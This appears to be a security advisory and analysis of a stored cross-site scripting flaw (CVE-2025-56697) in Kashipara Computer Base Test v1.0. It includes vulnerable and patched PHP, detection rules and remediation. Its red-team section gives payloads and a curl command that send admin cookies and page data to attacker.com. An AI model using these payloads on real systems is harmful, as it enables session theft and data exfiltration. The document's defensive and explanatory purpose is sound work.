CVE-2025-56697

Executive Summary

CVE-2025-56697 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Kashipara Computer Base Test v1.0, specifically within the feedback submission functionality. An unauthenticated attacker can inject arbitrary JavaScript code via the smyFeedbacks POST parameter in /users/home.php. This malicious script is then stored and executed when an administrator views the feedbacks page at /users/adminpanel/admin/home.php?page=feedbacks. The vulnerability requires no authentication for injection, but exploitation depends on an admin user accessing the stored feedback. The vendor has not released a patch, leaving all instances of v1.0 exposed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Injection does not require authentication.
• User Interaction: Required (UI:R) – Admin must view the feedback page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exfiltration possible.
• Integrity Impact: Low (I:L) – Script execution can modify page content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The attack surface is limited by the need for admin interaction, but the lack of a patch and the simplicity of exploitation elevate the risk for unhardened deployments.

Deep Dive & Mechanics

The vulnerability resides in the feedback submission mechanism of Kashipara Computer Base Test v1.0. The application accepts user input via the smyFeedbacks POST parameter in /users/home.php without proper sanitization or output encoding. This input is stored in the database and later rendered on the admin panel page /users/adminpanel/admin/home.php?page=feedbacks without escaping.

Attack Flow:

1. An attacker submits a POST request to /users/home.php with a malicious payload in the smyFeedbacks parameter, e.g., <script>alert('XSS')</script>.
2. The application stores the payload in the database.
3. When an administrator navigates to /users/adminpanel/admin/home.php?page=feedbacks, the stored payload is retrieved and rendered in the HTML context.
4. The browser executes the injected script, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the admin.

Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) when displaying user-supplied feedback. Additionally, no input validation or Content Security Policy (CSP) headers are implemented.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// /users/home.php - Feedback submission
$feedback = $_POST['smyFeedbacks'];
$query = "INSERT INTO feedbacks (content) VALUES ('$feedback')";
mysqli_query($conn, $query);

// /users/adminpanel/admin/home.php - Display feedbacks
$result = mysqli_query($conn, "SELECT content FROM feedbacks");
while($row = mysqli_fetch_assoc($result)) {
    echo "<div>" . $row['content'] . "</div>";
}

Patched Code (Recommended):

// /users/home.php - Feedback submission with input sanitization
$feedback = htmlspecialchars($_POST['smyFeedbacks'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO feedbacks (content) VALUES (?)";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "s", $feedback);
mysqli_stmt_execute($stmt);

// /users/adminpanel/admin/home.php - Display feedbacks with output encoding
$result = mysqli_query($conn, "SELECT content FROM feedbacks");
while($row = mysqli_fetch_assoc($result)) {
    echo "<div>" . htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') . "</div>";
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running Kashipara Computer Base Test v1.0.
• Access to the /users/home.php endpoint.
• An admin user who will view the feedbacks page.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step Exploitation:

1. Send a POST request with the malicious payload:

curl -X POST http://target/users/home.php -d "smyFeedbacks=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"

2. Wait for an admin to visit /users/adminpanel/admin/home.php?page=feedbacks.
3. The admin's browser executes the script, sending their cookies to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/users/adminpanel/admin/home.php?page=users', true);
xhr.onload = function() {
    fetch('https://attacker.com/exfil?data='+btoa(xhr.responseText));
};
xhr.send();
</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for suspicious POST requests to /users/home.php containing <script> tags or event handlers.
2. Inspect the smyFeedbacks parameter for HTML/JavaScript patterns.
3. Check for outbound connections to unknown domains from the admin panel.

Mitigation Steps:

1. Apply input validation: Reject or sanitize any HTML/JavaScript in feedback.
2. Implement Content Security Policy (CSP) headers to block inline scripts.
3. Use prepared statements and output encoding as shown in the patched code.
4. Restrict admin panel access to trusted IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /users/home.php with smyFeedbacks containing <script> tags.
  • Outbound HTTP requests from the admin panel to unknown domains (e.g., attacker.com).
• File IOCs:
  • Log entries in /var/log/apache2/access.log or equivalent showing malicious payloads.
• Database IOCs:
  • Rows in the feedbacks table containing HTML/JavaScript code.
• Behavioral IOCs:
  • Unexpected admin actions (e.g., user creation, privilege escalation) originating from the admin panel.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in feedback submissions for CVE-2025-56697"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-56697"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Feedback Submission
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects stored XSS attempts targeting CVE-2025-56697
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/users/home.php'
        cs-uri-query|contains: 'smyFeedbacks'
        sc-status: 200
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in feedback (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-56697 Stored XSS Attempt via Feedback";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/users/home.php"; http_uri;
    content:"smyFeedbacks="; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Feedback Feature: Temporarily remove or disable the feedback submission functionality until a patch is applied.
2. Web Application Firewall (WAF): Deploy a WAF rule to block POST requests containing <script> tags in the smyFeedbacks parameter.
3. Manual Code Fix: Apply the patched code shown above, using htmlspecialchars() for output encoding and prepared statements for database queries.

Long-Term Measures:

1. Vendor Notification: Contact Kashipara for an official patch. If unresponsive, consider migrating to an alternative solution.
2. Security Hardening: Implement Content Security Policy (CSP) headers, HTTP-only cookies, and X-XSS-Protection headers.
3. Regular Audits: Conduct periodic code reviews and penetration tests to identify similar vulnerabilities.

Workaround: If patching is not possible, restrict access to the admin panel using IP whitelisting and enforce strict input validation on the feedback form.

Valters IT
DevSecOps & Cyber Threat Intelligence Division